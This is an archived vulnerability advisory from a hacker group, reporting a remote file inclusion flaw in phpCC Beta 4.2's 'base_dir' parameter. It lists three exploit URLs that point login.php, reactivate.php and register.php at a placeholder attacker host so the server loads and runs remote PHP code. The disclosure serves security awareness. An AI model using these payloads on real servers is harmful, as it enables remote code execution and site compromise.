TUCoPS :: Web :: PHP :: b06-4065.htm

phpCC - Beta 4.2 (base_dir) Remote File Inclusion
SolpotCrew Advisory #6 - phpCC - Beta 4.2 (base_dir) Remote File Inclusion
SolpotCrew Advisory #6 - phpCC - Beta 4.2 (base_dir) Remote File Inclusion



#############################SolpotCrew Community################################=0D
#=0D
#        phpCC - Beta 4.2 (base_dir) Remote File Inclusion =0D
#=0D
# Download file : http://www.phpcc.at/download_file1.html=0D 
#=0D
#################################################################################=0D
#=0D
#=0D
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (06-08-2006)=0D
#=0D
# contact: chris_hasibuan@yahoo.com =0D 
# =0D
# Website : http://www.solpotcrew.org/adv/solpot-adv-05.txt=0D 
#=0D
################################################################################=0D
#=0D
#=0D
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid=0D
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa=0D
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet=0D
#              Blue|spy , cah|gemblung , Slacky , blind_boy=0D
# and all member solpotcrew community @ http://solpotcrew.org/forum/=0D 
#=0D
#=0D
###############################################################################=0D
Input passed to the "base_dir" is not properly verified =0D
before being used to include files. This can be exploited to execute =0D
arbitrary PHP code by including files from local or external resources.=0D
=0D
code from login.php=0D
=0D
http://somehost/login.php?base_dir=http://evilcode=0D 
http://somehost/reactivate.php?base_dir=http://evilcode=0D 
http://somehost/register.php?base_dir=http://evilcode=0D 
=0D
##############################MY LOVE JUST FOR U RIE#########################=0D
######################################E.O.F##################################=0D
=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH